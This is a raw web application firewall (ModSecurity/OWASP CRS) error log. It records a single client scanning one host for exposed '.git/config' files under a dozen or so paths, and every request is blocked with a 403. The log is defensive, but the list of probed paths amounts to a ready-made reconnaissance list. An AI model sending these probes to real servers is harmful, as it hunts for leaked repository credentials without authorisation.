[Wed Sep 04 15:26:29.004844 2024] [:error] [pid 1669081] [client 45.135.232.70:53532] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JgAAAAY&quot;]
[Wed Sep 04 15:26:29.005061 2024] [:error] [pid 1669081] [client 45.135.232.70:53532] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JgAAAAY&quot;]
[Wed Sep 04 15:26:29.010057 2024] [:error] [pid 1668038] [client 45.135.232.70:53536] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvAAAAAE&quot;]
[Wed Sep 04 15:26:29.011976 2024] [:error] [pid 1668038] [client 45.135.232.70:53536] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvAAAAAE&quot;]
[Wed Sep 04 15:26:29.012397 2024] [:error] [pid 1668038] [client 45.135.232.70:53536] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvAAAAAE&quot;]
[Wed Sep 04 15:26:29.049444 2024] [:error] [pid 1668042] [client 45.135.232.70:53538] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3JqzzwAAAAU&quot;]
[Wed Sep 04 15:26:29.049825 2024] [:error] [pid 1668042] [client 45.135.232.70:53538] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3JqzzwAAAAU&quot;]
[Wed Sep 04 15:26:29.050102 2024] [:error] [pid 1668042] [client 45.135.232.70:53538] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZthgBWI5LdyeeUHh3JqzzwAAAAU&quot;]
[Wed Sep 04 15:26:29.063534 2024] [:error] [pid 1669687] [client 45.135.232.70:53576] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREQAAAAc&quot;]
[Wed Sep 04 15:26:29.063914 2024] [:error] [pid 1669687] [client 45.135.232.70:53576] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREQAAAAc&quot;]
[Wed Sep 04 15:26:29.064204 2024] [:error] [pid 1669687] [client 45.135.232.70:53576] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;ZthgBbjC_0gXYx9o8kVREQAAAAc&quot;]
[Wed Sep 04 15:26:29.071457 2024] [:error] [pid 1668041] [client 45.135.232.70:53556] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTAAAAAQ&quot;]
[Wed Sep 04 15:26:29.071731 2024] [:error] [pid 1668041] [client 45.135.232.70:53556] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTAAAAAQ&quot;]
[Wed Sep 04 15:26:29.071940 2024] [:error] [pid 1668041] [client 45.135.232.70:53556] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTAAAAAQ&quot;]
[Wed Sep 04 15:26:29.079079 2024] [:error] [pid 1668037] [client 45.135.232.70:53580] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqAAAAAA&quot;]
[Wed Sep 04 15:26:29.079438 2024] [:error] [pid 1668037] [client 45.135.232.70:53580] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqAAAAAA&quot;]
[Wed Sep 04 15:26:29.079682 2024] [:error] [pid 1668037] [client 45.135.232.70:53580] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZthgBQQw0y6bHlDZzc_yqAAAAAA&quot;]
[Wed Sep 04 15:26:29.083655 2024] [:error] [pid 1679851] [client 45.135.232.70:53544] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14QAAAAg&quot;]
[Wed Sep 04 15:26:29.084031 2024] [:error] [pid 1679851] [client 45.135.232.70:53544] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14QAAAAg&quot;]
[Wed Sep 04 15:26:29.084312 2024] [:error] [pid 1679851] [client 45.135.232.70:53544] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;ZthgBSJNf6qDpcOZEHa14QAAAAg&quot;]
[Wed Sep 04 15:26:29.088424 2024] [:error] [pid 1668039] [client 45.135.232.70:53590] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aAAAAAI&quot;]
[Wed Sep 04 15:26:29.088954 2024] [:error] [pid 1668039] [client 45.135.232.70:53590] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aAAAAAI&quot;]
[Wed Sep 04 15:26:29.089400 2024] [:error] [pid 1668039] [client 45.135.232.70:53590] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;ZthgBQns1omtyxaAJPy6aAAAAAI&quot;]
[Wed Sep 04 15:26:29.105486 2024] [:error] [pid 1668040] [client 45.135.232.70:53562] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNAAAAAM&quot;]
[Wed Sep 04 15:26:29.105974 2024] [:error] [pid 1668040] [client 45.135.232.70:53562] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNAAAAAM&quot;]
[Wed Sep 04 15:26:29.106349 2024] [:error] [pid 1668040] [client 45.135.232.70:53562] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v1/.git/config&quot;] [unique_id &quot;ZthgBVJ05zQv9GkBJzvFNAAAAAM&quot;]
[Wed Sep 04 15:26:29.116983 2024] [:error] [pid 1668038] [client 45.135.232.70:53604] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvQAAAAE&quot;]
[Wed Sep 04 15:26:29.117586 2024] [:error] [pid 1668038] [client 45.135.232.70:53604] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvQAAAAE&quot;]
[Wed Sep 04 15:26:29.117684 2024] [:error] [pid 1669081] [client 45.135.232.70:53596] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JwAAAAY&quot;]
[Wed Sep 04 15:26:29.118013 2024] [:error] [pid 1668038] [client 45.135.232.70:53604] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v4/.git/config&quot;] [unique_id &quot;ZthgBT3fPta-nmxGgwCrvQAAAAE&quot;]
[Wed Sep 04 15:26:29.118295 2024] [:error] [pid 1669081] [client 45.135.232.70:53596] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JwAAAAY&quot;]
[Wed Sep 04 15:26:29.118707 2024] [:error] [pid 1669081] [client 45.135.232.70:53596] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;ZthgBRgJ4MEPOnpEXQ6-JwAAAAY&quot;]
[Wed Sep 04 15:26:29.378804 2024] [:error] [pid 1668041] [client 45.135.232.70:53758] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;ZthgBdyptEyCxv2bjOmTTQAAAAQ&quot;]
